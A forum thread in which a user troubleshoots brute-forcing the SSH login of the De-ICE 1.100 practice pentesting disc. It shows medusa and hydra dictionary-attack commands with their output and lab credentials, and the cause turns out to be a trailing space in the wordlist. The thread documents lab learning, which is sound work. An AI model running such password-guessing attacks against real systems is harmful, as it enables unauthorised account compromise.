cracking ssh de-ice.net-1.100-1.1

[LHYX1]

Hello,
I am trying to crack the ssh login of the first De-ice pentesting disc.
The login is "aadams" and the password is "nostradamus". I tried loging in already and it works perfectly. But when I try to crack the ssh password, it doesn't work. I tried with both hydra and medusa and ofcourse the password is in the dictionary file.
(another login:bbanter and password:bbanter hydra was able to crack)

root@bt:~# medusa -h 192.168.1.100 -u aadams -P /root/1.txt -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: aaaaaa (1 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: clksn (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: nostradamus  (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: sdcsln (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: cqnsdolc (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: clkdsq  (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: dslknk v (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (1 of 1, 0 complete) Password: vcklsdnn (8 of 8 complete)

root@bt:~# hydra 192.168.1.100 ssh2 -V -l aadams -P /root/1.txt
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-04-17 16:01:14
[DATA] 9 tasks, 1 servers, 9 login tries (l:1/p:9), ~1 tries per task
[DATA] attacking service ssh2 on port 22
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "aaaaaa" - child 0 - 1 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "clksn" - child 1 - 2 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "nostradamus " - child 2 - 3 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "sdcsln" - child 3 - 4 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "cqnsdolc" - child 4 - 5 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "clkdsq " - child 5 - 6 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "dslknk v" - child 6 - 7 of 9
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "vcklsdnn" - child 7 - 8 of 9
[STATUS] attack finished for 192.168.1.100 (waiting for childs to finish)
[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "" - child 8 - 9 of 9
Hydra (http://www.thc.org) finished at 2011-04-17 16:01:15

Am I missing something ??
Any help would be appreciated

[thorin]

Crank up your verbosity when you do a standard SSH so that you can see what version of the protocol is used and what auth it used. Then crank up the verbosity in hydra or medusa and make sure it matches.

Or go over to the de-ice forums and ask since it's their product.

Or use google, searching "de-ice ssh" will get you step by step instructions in the top 5 results, though pathetically you'll have looked and not learned anything

[LHYX1]

Thanx for the reply !
I solved the problem Apperently there was a space behind "nostradamus".

[ATTEMPT] target 192.168.1.100 - login "aadams" - pass "nostradamus " - child 2 - 3 of 9

I removed the space and was able to crack the password.

[thorin]

DOH! Don't you hate it when simple things like that cause you to shoot yourself in the foot Grr!

[LHYX1]

Yeah, I spent at least 1 hour searching for a solution and then it's a damn space !!!